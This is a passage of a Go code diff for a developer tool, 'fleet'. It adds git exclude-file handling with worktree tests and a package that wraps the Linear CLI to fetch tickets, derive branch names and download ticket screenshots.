feature could do. +func (c *Config) IsLinearTicketStartEnabled() bool { + return boolDefaultTrue(c.LinearTicketStart) +} + // GetOriginDeleteRemovesWorktrees reports whether forgetting an origin row also // removes its worktree directories from disk (default: true). func (c *Config) GetOriginDeleteRemovesWorktrees() bool { diff --git a/internal/git/exclude.go b/internal/git/exclude.go new file mode 100644 index 00000000..776c04d7 --- /dev/null +++ b/internal/git/exclude.go @@ -0,0 +1,109 @@ +package git + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "sync" + + "github.com/brizzai/fleet/internal/debuglog" +) + +// FleetExcludeEntry is the single ignore pattern fleet manages. Anchored at the +// working-tree root so a vendored .fleet/ deeper in the tree is untouched. +// +// It covers .fleet/ticket//, where materialized Linear tickets and their +// screenshots land. Those are a working aid, not source: a customer screenshot +// committed into git history is a data-retention problem nobody signed up for. +const FleetExcludeEntry = "/.fleet/" + +const excludeMarker = "# fleet: materialized tickets and scratch state (managed by fleet)" + +// excludeMu serializes AddFleetExclude. Several worktrees of one repo can be +// created concurrently and they all resolve to the SAME exclude file (see +// ExcludeFilePath), so without this the read-check-append races and duplicates. +var excludeMu sync.Mutex + +// ExcludeFilePath returns the exclude file git actually reads for the working +// tree at path. +// +// This MUST go through `rev-parse --git-path`, never `--git-dir` joined with +// "info/exclude". In a linked worktree --git-dir returns +// .git/worktrees/, but "info" is on git's shared-path list, so git reads +// the COMMON .git/info/exclude. Writing to .git/worktrees//info/exclude +// creates a file git never opens — the pattern would look installed in our logs +// and exclude nothing, which is the worst of both outcomes. Verified: from +// inside a linked worktree, `git check-ignore -v` attributes rules to the main +// checkout's .git/info/exclude. +// +// --git-path also saves us a version check: `--path-format=absolute` needs git +// 2.31+, whereas resolving a relative answer against path works everywhere. +func ExcludeFilePath(path string) (string, error) { + out, err := gitOutput("-C", path, "rev-parse", "--git-path", "info/exclude") + if err != nil { + return "", fmt.Errorf("resolve exclude path: %w", err) + } + p := strings.TrimSpace(string(out)) + if p == "" { + return "", fmt.Errorf("resolve exclude path: git returned no path") + } + if !filepath.IsAbs(p) { + // `git -C path` ran with path as its working directory, so a relative + // answer is relative to path. + p = filepath.Join(path, p) + } + return p, nil +} + +// AddFleetExclude ensures FleetExcludeEntry is present in the exclude file for +// the working tree at path. Idempotent: repeat calls — including from sibling +// worktrees, which share one exclude file — add nothing. +// +// Note this writes into the MAIN checkout's .git/info/exclude even when called +// from a worktree, and so covers .fleet/ everywhere in the repo. That is the +// intended scope: a session started on the main clone can materialize a ticket +// there too. +func AddFleetExclude(path string) error { + excludeMu.Lock() + defer excludeMu.Unlock() + + file, err := ExcludeFilePath(path) + if err != nil { + return err + } + + existing, err := os.ReadFile(file) + if err != nil && !os.IsNotExist(err) { + return fmt.Errorf("read %s: %w", file, err) + } + for line := range strings.SplitSeq(string(existing), "\n") { + if strings.TrimSpace(line) == FleetExcludeEntry { + return nil + } + } + + // A bare-ish or freshly-cloned repo may not have info/ yet. + if err := os.MkdirAll(filepath.Dir(file), 0755); err != nil { + return fmt.Errorf("create %s: %w", filepath.Dir(file), err) + } + + var b strings.Builder + if len(existing) > 0 && !strings.HasSuffix(string(existing), "\n") { + b.WriteString("\n") + } + b.WriteString(excludeMarker + "\n") + b.WriteString(FleetExcludeEntry + "\n") + + f, err := os.OpenFile(file, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644) + if err != nil { + return fmt.Errorf("open %s: %w", file, err) + } + defer f.Close() + if _, err := f.WriteString(b.String()); err != nil { + return fmt.Errorf("write %s: %w", file, err) + } + + debuglog.Logger.Debug("added fleet exclude", "path", path, "file", file) + return nil +} diff --git a/internal/git/exclude_test.go b/internal/git/exclude_test.go new file mode 100644 index 00000000..b93d5b19 --- /dev/null +++ b/internal/git/exclude_test.go @@ -0,0 +1,128 @@ +package git + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// TestExcludeFilePathUsesGitPath is a source guard. The natural implementation +// — `rev-parse --git-dir` joined with "info/exclude" — writes a file git never +// reads when called from a linked worktree, and every "did we write it?" test +// still passes. Only `--git-path` resolves what git actually opens. +func TestExcludeFilePathUsesGitPath(t *testing.T) { + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, "exclude.go", nil, 0) + if err != nil { + t.Fatalf("parse exclude.go: %v", err) + } + + var body string + ast.Inspect(f, func(n ast.Node) bool { + fn, ok := n.(*ast.FuncDecl) + if !ok || fn.Name.Name != "ExcludeFilePath" { + return true + } + var b strings.Builder + ast.Inspect(fn.Body, func(m ast.Node) bool { + if lit, ok := m.(*ast.BasicLit); ok && lit.Kind == token.STRING { + b.WriteString(lit.Value) + } + return true + }) + body = b.String() + return false + }) + if body == "" { + t.Fatal("ExcludeFilePath not found — rename? this guard is now vacuous") + } + if !strings.Contains(body, "--git-path") { + t.Error("ExcludeFilePath must use `rev-parse --git-path info/exclude`") + } + if strings.Contains(body, "--git-dir") { + t.Error("ExcludeFilePath must NOT use --git-dir: `info` is on git's shared-path " + + "list, so a linked worktree's --git-dir + info/exclude is a file git never reads") + } +} + +// TestAddFleetExcludeFromLinkedWorktree is the real thing: it asserts git +// itself honours the entry, from inside a worktree, which is the only check +// that catches the --git-dir mistake. +func TestAddFleetExcludeFromLinkedWorktree(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("git not installed") + } + + root := t.TempDir() + main := filepath.Join(root, "repo") + if err := os.MkdirAll(main, 0755); err != nil { + t.Fatal(err) + } + + run := func(dir string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), + "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@t", + "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@t", + "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", + ) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %s: %v\n%s", strings.Join(args, " "), err, out) + } + } + + run(main, "init", "-q", "-b", "main") + if err := os.WriteFile(filepath.Join(main, "seed"), []byte("x"), 0644); err != nil { + t.Fatal(err) + } + run(main, "add", "seed") + run(main, "commit", "-qm", "seed") + + wt := filepath.Join(root, "repo-wt") + run(main, "worktree", "add", "-q", "-b", "feature", wt) + + // Twice: idempotence across the shared file is the whole point. + if err := AddFleetExclude(wt); err != nil { + t.Fatalf("AddFleetExclude: %v", err) + } + if err := AddFleetExclude(main); err != nil { + t.Fatalf("AddFleetExclude (main): %v", err) + } + + common := filepath.Join(main, ".git", "info", "exclude") + data, err := os.ReadFile(common) + if err != nil { + t.Fatalf("the entry did not land in the common exclude file (%s): %v", common, err) + } + if got := strings.Count(string(data), FleetExcludeEntry); got != 1 { + t.Errorf("entry appears %d times in %s, want exactly 1:\n%s", got, common, data) + } + + // The private worktree git dir must NOT have grown an info/exclude — if it + // did, someone resolved with --git-dir. + priv := filepath.Join(main, ".git", "worktrees", filepath.Base(wt), "info", "exclude") + if _, err := os.Stat(priv); err == nil { + t.Errorf("wrote %s, which git never reads", priv) + } + + // The verdict that matters: git agrees. + if err := os.MkdirAll(filepath.Join(wt, ".fleet", "ticket", "BRZ-1"), 0755); err != nil { + t.Fatal(err) + } + target := filepath.Join(wt, ".fleet", "ticket", "BRZ-1", "ticket.md") + if err := os.WriteFile(target, []byte("#"), 0644); err != nil { + t.Fatal(err) + } + cmd := exec.Command("git", "check-ignore", "-q", ".fleet/ticket/BRZ-1/ticket.md") + cmd.Dir = wt + if err := cmd.Run(); err != nil { + t.Errorf("git does not ignore .fleet/ in the worktree (check-ignore exit %v)", err) + } +} diff --git a/internal/linear/cli.go b/internal/linear/cli.go new file mode 100644 index 00000000..0c51ac52 --- /dev/null +++ b/internal/linear/cli.go @@ -0,0 +1,276 @@ +package linear + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "os" + "os/exec" + "strconv" + "strings" + "sync" + "time" + + "github.com/brizzai/fleet/internal/analytics" + "github.com/brizzai/fleet/internal/debuglog" +) + +// linear failures are one-shot rather than polled, so this throttle isn't +// stopping a flood the way trackGHFailure's is — it stops a user who creates ten +// worktrees against a broken CLI from emitting ten identical events. reason is a +// low-cardinality label, never an issue identifier or a path. +const failTrackInterval = 10 * time.Minute + +var ( + failMu sync.Mutex + failLast time.Time +) + +func trackFailure(reason string) { + failMu.Lock() + if !failLast.IsZero() && time.Since(failLast) < failTrackInterval { + failMu.Unlock() + return + } + failLast = time.Now() + failMu.Unlock() + analytics.Track(analytics.EventLinearCommandFailure, map[string]any{ + "reason": reason, + }) +} + +// classifyError maps the CLI's stderr onto a sentinel. Unknown stderr returns +// nil, so callers fall through to their own generic handling. +func classifyError(stderr string) error { + s := strings.ToLower(stderr) + switch { + case strings.Contains(s, "no api token configured"), strings.Contains(s, "not authenticated"): + return ErrNotConfigured + case strings.Contains(s, "401"), strings.Contains(s, "unauthorized"), + strings.Contains(s, "authentication failed"), strings.Contains(s, "invalid api key"): + return ErrNotAuthenticated + case strings.Contains(s, "entity not found"), strings.Contains(s, "could not find issue"), + strings.Contains(s, "does not contain a valid linear issue id"): + return ErrNotFound + } + return nil +} + +// run executes `linear ` in dir under timeout and returns stdout. +// +// dir must be inside the repo: the CLI locates .linear.toml by shelling +// `git rev-parse --show-toplevel` in its OWN working directory, so a wrong dir +// loses the team/workspace context with no error. +// +// The environment additions are load-bearing: +// - LINEAR_DOWNLOAD_IMAGES=1 outranks a repo that set download_images = false +// in .linear.toml (CLI precedence is flag > env > toml). +// - PAGER=cat and NO_COLOR=1 guard against a pager or SGR codes if this ever +// runs somewhere with a TTY attached. +func run(ctx context.Context, timeout time.Duration, dir string, args ...string) ([]byte, error) { + ctx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + cmd := exec.CommandContext(ctx, "linear", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), "LINEAR_DOWNLOAD_IMAGES=1", "PAGER=cat", "NO_COLOR=1") + var stderr bytes.Buffer + cmd.Stderr = &stderr + + out, err := cmd.Output() + if err == nil { + return out, nil + } + + // A timeout must be distinguishable from a real CLI error: on the deadline + // cmd.Output() errors with EMPTY stderr, which would otherwise classify as + // "unknown" and be swallowed. Check the context, not the returned error — + // cmd.Output() returns *exec.ExitError on kill, so errors.Is on err alone + // would not match. Wrap with %w so errors.Is works for our callers. + if ctx.Err() == context.DeadlineExceeded { + debuglog.Logger.Debug("linear: timed out", "args", args, "dir", dir) + trackFailure("timeout") + return nil, fmt.Errorf("linear %s timed out: %w", args[0], ctx.Err()) + } + + msg := strings.TrimSpace(stderr.String()) + if classified := classifyError(msg); classified != nil { + debuglog.Logger.Debug("linear: classified failure", "args", args, "err", classified, "stderr", msg) + trackFailure(strings.TrimPrefix(classified.Error(), "linear: ")) + return nil, classified + } + debuglog.Logger.Debug("linear: command failed", "args", args, "dir", dir, "stderr", msg) + return nil, fmt.Errorf("linear %s: %w (%s)", args[0], err, truncate(msg, 200)) +} + +// ticketJSON mirrors the fields fleet uses. Both the v1.7.0 (6-key) and v2.5.0 +// (15-key) payloads decode into it; extra keys are ignored by encoding/json, +// and a missing or null `state` leaves StateName empty rather than failing. +type ticketJSON struct { + Identifier string `json:"identifier"` + Title string `json:"title"` + URL string `json:"url"` + State *struct { + Name string `json:"name"` + } `json:"state"` +} + +// Fetch returns the issue's metadata. +// +// This is the ONLY place --json is used. It must never be used for images: the +// CLI returns from the JSON branch before its image downloader runs, so a JSON +// fetch emits raw uploads.linear.app URLs and writes nothing to disk. +func Fetch(ctx context.Context, dir, id string) (Ticket, error) { + if !Available() { + return Ticket{}, ErrNotInstalled + } + out, err := run(ctx, metaTimeout, dir, "issue", "view", id, "--json", "--no-pager") + if err != nil { + return Ticket{}, err + } + var raw ticketJSON + if err := json.Unmarshal(out, &raw); err != nil { + debuglog.Logger.Debug("linear: JSON parse failed", "id", id, "error", err) + return Ticket{}, ErrNotFound + } + if raw.Identifier == "" { + return Ticket{}, ErrNotFound + } + t := Ticket{Identifier: raw.Identifier, Title: raw.Title, URL: raw.URL} + if raw.State != nil { + t.StateName = raw.State.Name + } + return t, nil +} + +// Search returns issues matching a full-text term, for the worktree dialog's +// suggestion list. +// +// `issue query` (CLI v2+) is the right command: `issue list` is an alias of +// `issue mine` and only ever returns your own issues, which would hide a ticket +// someone just handed you. On an older CLI this errors, and the caller simply +// shows no suggestions — the identifier path keeps working either way. +func Search(ctx context.Context, dir, teamKey, term string, limit int) ([]Ticket, error) { + if !Available() { + return nil, ErrNotInstalled + } + args := []string{"issue", "query", "--search", term, "--json", "--no-pager"} + if teamKey != "" { + args = append(args, "--team", teamKey) + } + if limit > 0 { + args = append(args, "--limit", strconv.Itoa(limit)) + } + out, err := run(ctx, metaTimeout, dir, args...) + if err != nil { + return nil, err + } + return decodeTicketList(out), nil +} + +// decodeTicketList is deliberately tolerant: the CLI's JSON shape changed in +// v2.0.0 to preserve GraphQL connection shapes, so accept both a bare array and +// an object wrapping one, and drop anything unusable rather than failing. +func decodeTicketList(out []byte) []Ticket { + var flat []ticketJSON + if err := json.Unmarshal(out, &flat); err != nil { + var wrapped struct { + Nodes []ticketJSON `json:"nodes"` + Issues []ticketJSON `json:"issues"` + } + if err := json.Unmarshal(out, &wrapped); err != nil { + return nil + } + flat = wrapped.Nodes + if len(flat) == 0 { + flat = wrapped.Issues + } + } + var tickets []Ticket + for _, raw := range flat { + if raw.Identifier == "" { + continue + } + t := Ticket{Identifier: raw.Identifier, Title: raw.Title, URL: raw.URL} + if raw.State != nil { + t.StateName = raw.State.Name + } + tickets = append(tickets, t) + } + return tickets +} + +// fetchMarkdown returns the issue rendered as markdown, with image links +// already rewritten to absolute local paths for every image the CLI managed to +// download. +// +// Deliberately NOT --json. Two reasons, and both are structural rather than +// bugs that might get fixed: the JSON branch returns before the downloader +// runs, and the link substitution happens after it. Under a pipe (which +// cmd.Output() gives us) the CLI skips its ANSI renderer and pager and prints +// raw markdown, which is exactly what we want to parse. +// +// A link left pointing at uploads.linear.app means the CLI's download failed +// and swallowed the error — that is the detector for the broken v1.7.0 build, +// and the caller fetches those itself. +func fetchMarkdown(ctx context.Context, dir, id string) ([]byte, error) { + if !Available() { + return nil, ErrNotInstalled + } + return run(ctx, markdownTimeout, dir, "issue", "view", id, "--no-pager") +} + +// MoveToStarted moves the issue into the team's first started workflow state +// and returns the resulting state name. +// +// `-s started` matches on state TYPE against a position-sorted list, which is +// the same resolution `linear issue start` uses — so fleet never enumerates or +// caches workflow states, and this works with teams whose started state is +// called "In Dev" or anything else. (A state literally named "started" would +// win the name match first, which is arguably what its author intended.) +// +// `linear issue start` is deliberately NOT used: it also creates its own git +// branch, which would collide with the worktree fleet just made. +func MoveToStarted(ctx context.Context, dir, id string) (string, error) { + if !Available() { + return "", ErrNotInstalled + } + if _, err := run(ctx, stateTimeout, dir, "issue", "update", id, "-s", "started"); err != nil { + trackFailure("state_write_failed") + return "", err + } + return "started", nil +} + +// authToken returns the CLI's API token, for the fallback image download only. +// +// Held in a local for the duration of one request and never logged, persisted, +// or placed into a session's tmux environment. fleet storing a credential is +// precisely what this package's design avoids; borrowing one for a single +// authenticated GET is not the same thing, but it is close enough to deserve +// saying out loud. +func authToken(ctx context.Context, dir string) (string, error) { + out, err := run(ctx, authTimeout, dir, "auth", "token") + if err != nil { + return "", err + } + return strings.TrimSpace(string(out)), nil +} + +func truncate(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + "…" +} + +func readFileLimited(path string, limit int64) ([]byte, error) { + f, err := os.Open(path) + if err != nil { + return nil, err + } + defer f.Close() + return io.ReadAll(io.LimitReader(f, limit)) +} diff --git a/internal/linear/identifier.go b/internal/linear/identifier.go new file mode 100644 index 00000000..35e48b39 --- /dev/null +++ b/internal/linear/identifier.go @@ -0,0 +1,140 @@ +package linear + +import ( + "path/filepath" + "regexp" + "strconv" + "strings" + "unicode" +) + +// identifierRe matches a Linear identifier at the start of a branch segment: +// BRZ-3182, brz-3182-some-slug, and (after the last "/") alice/brz-3182-x. +// +// It is deliberately loose about the team prefix, because the CALLER gates on +// the real team key. That split matters: the CLI's own `linear issue id` uses a +// pattern like this with no gate, which makes it read fix-123-thing as FIX-123 +// and release-2024-cleanup as RELEASE-2024 — identifiers for teams that don't +// exist, costing a subprocess and a wrong answer. +var identifierRe = regexp.MustCompile(`^([A-Za-z][A-Za-z0-9]{0,9})-(\d{1,7})(?:[-_./]|$)`) + +// IdentifierFromBranch extracts the Linear identifier a branch names, gated on +// teamKey. It returns "" when the branch names no issue for that team. +// +// Matching starts after the last "/", so Linear's own suggested branch names +// (alice/brz-3182-slug) resolve as well as fleet's (brz-3182-slug). +func IdentifierFromBranch(branch, teamKey string) string { + if branch == "" || teamKey == "" { + return "" + } + seg := branch + if i := strings.LastIndex(seg, "/"); i >= 0 { + seg = seg[i+1:] + } + m := identifierRe.FindStringSubmatch(seg) + if m == nil { + return "" + } + if !strings.EqualFold(m[1], teamKey) { + return "" + } + return strings.ToUpper(m[1]) + "-" + m[2] +} + +// LooksLikeIdentifier reports whether text is an identifier for teamKey and +// nothing else — the shape test the worktree dialog uses to decide whether what +// you typed denotes a ticket or is just a branch name. +// +// This is what keeps a picker from ever stealing the Enter key from someone +// naming a branch: prose fails this test, so the literal text stays the default. +func LooksLikeIdentifier(text, teamKey string) (string, bool) { + t := strings.TrimSpace(text) + if t == "" || teamKey == "" { + return "", false + } + m := identifierRe.FindStringSubmatch(t) + if m == nil || len(m[0]) != len(t) { + return "", false + } + if !strings.EqualFold(m[1], teamKey) { + return "", false + } + return strings.ToUpper(m[1]) + "-" + m[2], true +} + +// maxBranchSlug caps the title-derived tail. Long enough to stay readable in a +// sidebar row, short enough that the derived worktree directory name +// (-) doesn't run away. +const maxBranchSlug = 40 + +// BranchNameFor derives fleet's branch name for an issue: the lowercased +// identifier, then a slug of the title. +// +// Deliberately not the CLI's own `branchName` field, which carries an owner +// prefix (alice/brz-3182-…). Linear links a PR by finding the identifier +// ANYWHERE in the branch name, so both forms link identically — and this form +// matches the convention already in use across the user's worktrees. +// +// The result is always a valid git ref: the identifier alone is valid, and the +// slug only ever appends [a-z0-9-] runs. An empty or punctuation-only title +// yields the bare identifier with no trailing dash. +func BranchNameFor(id, title string) string { + base := strings.ToLower(strings.TrimSpace(id)) + slug := slugify(title, maxBranchSlug) + if slug == "" { + return base + } + return base + "-" + slug +} + +// slugify lowercases, collapses every run of non-alphanumerics to a single +// dash, and truncates on a dash boundary so a cut never lands mid-word. +func slugify(s string, limit int) string { + var b strings.Builder + lastDash := true // leading dashes are suppressed + for _, r := range strings.ToLower(s) { + switch { + case unicode.IsLetter(r) && r < unicode.MaxASCII, unicode.IsDigit(r) && r < unicode.MaxASCII: + b.WriteRune(r) + lastDash = false + default: + if !lastDash { + b.WriteByte('-') + lastDash = true + } + } + } + out := strings.Trim(b.String(), "-") + if len(out) <= limit { + return out + } + out = out[:limit] + if i := strings.LastIndexByte(out, '-'); i > 0 { + out = out[:i] + } + return strings.Trim(out, "-") +} + +// sanitizeFilename makes a downloaded image's alt text safe to use as a file +// name, without its extension — the caller appends the one it recovered from +// the bytes, which is the only trustworthy source. +// +// Stripping a trailing image extension first matters because Linear's default +// alt text is literally "image.png": slugifying that whole string would give +// "image-png", and the result would read "1-image-png.png". +// +// The index prefix keeps files distinct when several images share alt text, +// which is the common case. +func sanitizeFilename(alt string, index int) string { + base := strings.TrimSpace(alt) + if ext := strings.ToLower(filepath.Ext(base)); ext != "" { + if _, known := knownImageExt[ext]; known { + base = base[:len(base)-len(ext)] + } + } + slug := slugify(base, 48) + if slug == "" { + slug = "image" + } + return strconv.Itoa(index) + "-" + slug +} diff --git a/internal/linear/images.go b/internal/linear/images.go new file mode 100644 index 00000000..38c47054 --- /dev/null +++ b/internal/linear/images.go @@ -0,0 +1,195 @@ +package linear + +import ( + "context" + "fmt" + "io" + "mime" + "net/http" + "os" + "path/filepath" + "regexp" + "strings" +) + +// imageLinkRe matches a markdown image: ![alt](target). A narrow regex rather +// than a markdown parser — we only ever need the two capture groups, and the +// input is the CLI's own generated output, not arbitrary user markdown. +var imageLinkRe = regexp.MustCompile(`!\[([^\]]*)\]\(([^)\s]+)\)`) + +const uploadsHost = "uploads.linear.app" + +// knownImageExt is the set of extensions we treat as already-correct, used both +// when recovering an extension and when stripping one off alt text. +var knownImageExt = map[string]struct{}{ + ".png": {}, ".jpg": {}, ".jpeg": {}, ".gif": {}, ".webp": {}, ".bmp": {}, ".svg": {}, +} + +// extByContentType maps the types Linear actually serves for inline images. +var extByContentType = map[string]string{ + "image/png": ".png", + "image/jpeg": ".jpg", + "image/gif": ".gif", + "image/webp": ".webp", + "image/bmp": ".bmp", + "image/svg+xml": ".svg", +} + +// imageRef is one image link found in the CLI's markdown. +type imageRef struct { + alt string + target string // absolute local path (CLI downloaded it) or a remote URL + remote bool +} + +func findImages(markdown []byte) []imageRef { + var refs []imageRef + for _, m := range imageLinkRe.FindAllSubmatch(markdown, -1) { + target := string(m[2]) + refs = append(refs, imageRef{ + alt: string(m[1]), + target: target, + remote: strings.Contains(target, uploadsHost) || strings.HasPrefix(target, "http"), + }) + } + return refs +} + +// detectExt recovers a file extension for image bytes. +// +// This is not cosmetic. The CLI names downloads after sanitize(alt), so a real +// PNG lands on disk as "Filter bar renders cramped (screenshot)" with no +// extension — and an agent's file-read tool dispatches on extension, so a +// perfectly downloaded screenshot is unreadable. Recovering the extension is +// the difference between "we fetched it" and "the agent can see it". +// +// http.DetectContentType sniffs magic bytes, so it works for the +// already-downloaded case where the response headers are long gone. +func detectExt(name string, body []byte) (string, bool) { + if ext := strings.ToLower(filepath.Ext(name)); ext != "" { + for _, known := range extByContentType { + if ext == known { + return ext, true + } + } + if ext == ".jpeg" { + return ".jpg", true + } + } + ct := http.DetectContentType(body) + if i := strings.IndexByte(ct, ';'); i >= 0 { + ct = ct[:i] + } + ext, ok := extByContentType[strings.ToLower(strings.TrimSpace(ct))] + return ext, ok +} + +// copyLocalImage reads an image the CLI already downloaded and writes it into +// destDir with a recovered extension. Returns the destination's base name. +func copyLocalImage(src, destDir string, index int) (string, int64, error) { + info, err := os.Stat(src) + if err != nil { + return "", 0, err + } + // A zero-byte file is the v1.7.0 symptom: the CLI created the directory, + // the download failed, and nothing was written. Treat it as a miss so the + // caller can fall back to fetching it directly. + if info.Size() == 0 { + return "", 0, fmt.Errorf("empty file") + } + if info.Size() > maxImageBytes { + return "", 0, fmt.Errorf("over per-image cap (%d bytes)", info.Size()) + } + body, err := os.ReadFile(src) + if err != nil { + return "", 0, err + } + ext, ok := detectExt(filepath.Base(src), body) + if !ok { + return "", 0, fmt.Errorf("not a recognised image") + } + name := sanitizeFilename(filepath.Base(src), index) + ext + if err := os.WriteFile(filepath.Join(destDir, name), body, 0644); err != nil { + return "", 0, err + } + return name, int64(len(body)), nil +} + +// fetchRemoteImage downloads an uploads.linear.app asset the CLI failed to get. +// +// Reached when the markdown still carries a remote URL, which means the CLI's +// downloader threw and swallowed the error — the signature of the v1.7.0 build +// compiled without --allow-net=uploads.linear.app. Those URLs are 401 without +// auth, so the token is borrowed for the request and never kept. +func fetchRemoteImage(ctx context.Context, url, token, destDir, alt string, index int) (string, int64, error) { + ctx, cancel := context.WithTimeout(ctx, imageFetchTimeout) + defer cancel() + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) + if err != nil { + return "", 0, err + } + // Raw token, not "Bearer " — this matches how the CLI itself sets + // the header for uploads.linear.app. + req.Header.Set("Authorization", token) + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return "", 0, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", 0, fmt.Errorf("http %d", resp.StatusCode) + } + + body, err := io.ReadAll(io.LimitReader(resp.Body, maxImageBytes+1)) + if err != nil { + return "", 0, err + } + if len(body) == 0 { + return "", 0, fmt.Errorf("empty response") + } + if len(body) > maxImageBytes { + return "", 0, fmt.Errorf("over per-image cap") + } + + // Reject anything that isn't an image, so a 401 HTML page or a JSON error + // body can never land beside real screenshots looking like one. + ext, ok := extFromHeaders(resp.Header) + if !ok { + if ext, ok = detectExt("", body); !ok { + return "", 0, fmt.Errorf("not an image response") + } + } + + name := sanitizeFilename(alt, index) + ext + if err := os.WriteFile(filepath.Join(destDir, name), body, 0644); err != nil { + return "", 0, err + } + return name, int64(len(body)), nil +} + +func extFromHeaders(h http.Header) (string, bool) { + if cd := h.Get("Content-Disposition"); cd != "" { + if _, params, err := mime.ParseMediaType(cd); err == nil { + if fn := params["filename"]; fn != "" { + if ext := strings.ToLower(filepath.Ext(fn)); ext != "" { + if ext == ".jpeg" { + return ".jpg", true + } + for _, known := range extByContentType { + if ext == known { + return ext, true + } + } + } + } + } + } + ct := h.Get("Content-Type") + if i := strings.IndexByte(ct, ';'); i >= 0 { + ct = ct[:i] + } + ext, ok := extByContentType[strings.ToLower(strings.TrimSpace(ct))] + return ext, ok +} diff --git a/internal/linear/linear.go b/internal/linear/linear.go new file mode 100644 index 00000000..88e4992d --- /dev/null +++ b/internal/linear/linear.go @@ -0,0 +1,128 @@ +// Package linear reads Linear issues by shelling out to the `linear` CLI +// (github.com/schpet/linear-cli), the same way internal/github shells out to +// `gh` for PR badges. +// +// Design rules, in the order they matter: +// +// - fleet stores no credential. The CLI owns auth (LINEAR_API_KEY, or api_key +// in .linear.toml). We never read that file's api_key, never persist a +// token, and never forward one into a session's tmux environment. +// - The feature is per-repo and opt-out-by-absence: no `linear` on PATH, or no +// .linear.toml at the repo root, and every entry point here is inert. +// - Nothing in this package runs on the Bubble Tea Update goroutine or in the +// status/git workers. Every call is event-driven and one-shot, which is what +// keeps it clear of workerStallThreshold's budget. +package linear + +import ( + "errors" + "os/exec" + "path/filepath" + "regexp" + "strings" + "time" +) + +// Timeouts. Each is sized against a measured cost, in the style of ghTimeout. +const ( + // metaTimeout bounds `linear issue view --json`: one GraphQL round trip, + // measured at ~0.5s. 10s is 20x headroom for a slow link while staying small + // enough that a wedged metadata call still leaves budget for the markdown + // pass inside an inference deadline. + metaTimeout = 10 * time.Second + + // markdownTimeout bounds the markdown pass, which is one GraphQL round trip + // PLUS N image downloads the CLI performs sequentially. At the image cap and + // a few seconds each that is tens of seconds; 45s clears it. This never runs + // on the status worker, so it cannot interact with workerStallThreshold. + markdownTimeout = 45 * time.Second + + // stateTimeout bounds `linear issue update -s started`: a workflow-states + // query then an issueUpdate mutation — two round trips, the shape ghTimeout + // was sized for. + stateTimeout = 15 * time.Second + + // authTimeout bounds `linear auth token`, which only reads local config and + // env. Past a few seconds it is wedged, not slow. + authTimeout = 5 * time.Second + + // imageFetchTimeout bounds one fallback download of an uploads.linear.app + // asset that the CLI failed to fetch. Sized for maxImageBytes on a poor link. + imageFetchTimeout = 20 * time.Second +) + +// Caps on what a single ticket may drag into a worktree. +// +// The binding constraint is the agent's context, not disk: a dozen screenshots +// is already a large vision payload before it has read a line of code, and a +// ticket with more than that is a design document that wants a human summary. +const ( + maxImages = 12 + maxImageBytes = 8 << 20 + maxTotalBytes = 32 << 20 +) + +var ( + // ErrNotInstalled means the `linear` binary is not on PATH. Never surfaced + // as an error to a user who did not ask for Linear. + ErrNotInstalled = errors.New("linear: CLI not installed") + + // ErrNotConfigured means the CLI found no API token. + ErrNotConfigured = errors.New("linear: no API token configured") + + // ErrNotAuthenticated means the token was rejected. + ErrNotAuthenticated = errors.New("linear: API token rejected") + + // ErrNotFound means there is no such issue. This is an ordinary answer for a + // branch-inferred identifier, not a failure. + ErrNotFound = errors.New("linear: issue not found") +) + +// Ticket is the version-defensive projection of `linear issue view --json`. +// +// Every field is optional on purpose: CLI v1.7.0 returns six keys and v2.5.0 +// returns fifteen, and the JSON shape changed in v2.0.0 to preserve GraphQL +// field names. A field that moves or disappears must degrade to a zero value, +// never to an error. +type Ticket struct { + Identifier string // "BRZ-3182"; empty means the payload was unusable + Title string + URL string + StateName string +} + +// Ok reports whether the payload carried enough to be worth acting on. +func (t Ticket) Ok() bool { return t.Identifier != "" } + +// Available reports whether the `linear` CLI is installed. +// +// Deliberately exec.LookPath and not `linear --version`: this is called on the +// path that opens the worktree dialog, so it must cost microseconds. +func Available() bool { + _, err := exec.LookPath("linear") + return err == nil +} + +// configFile is the CLI's own per-repo config. Its presence is fleet's signal +// that a repo is Linear-connected — better than a global setting, because it is +// per-repo and already true for anyone using the CLI seriously. +const configFile = ".linear.toml" + +var teamIDRe = regexp.MustCompile(`(?m)^\s*team_id\s*=\s*["']([A-Za-z][A-Za-z0-9]*)["']`) + +// TeamKey returns the team identifier (e.g. "BRZ") from .linear.toml at +// repoPath, and whether the repo is Linear-connected at all. +// +// Only team_id is read. api_key lives in the same file and is deliberately not +// touched: fleet holding a credential is exactly what this design avoids. +func TeamKey(repoPath string) (string, bool) { + data, err := readFileLimited(filepath.Join(repoPath, configFile), 64<<10) + if err != nil { + return "", false + } + m := teamIDRe.FindSubmatch(data) + if m == nil { + return "", false + } + return strings.ToUpper(string(m[1])), true +} diff --git a/internal/linear/linear_test.go b/internal/linear/linear_test.go new file mode 100644 index 00000000..1173bb88 --- /dev/null +++ b/internal/linear/linear_test.go @@ -0,0 +1,345 @@ +package linear + +import ( + "go/ast" + "go/parser" + "go/token" + "net/http" + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// stringLiteralsIn returns every string literal inside the named function, so a +// guard can assert on the argv a subprocess is built from. +func stringLiteralsIn(t *testing.T, file, fn string) string { + t.Helper() + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, file, nil, 0) + if err != nil { + t.Fatalf("parse %s: %v", file, err) + } + var out strings.Builder + found := false + ast.Inspect(f, func(n 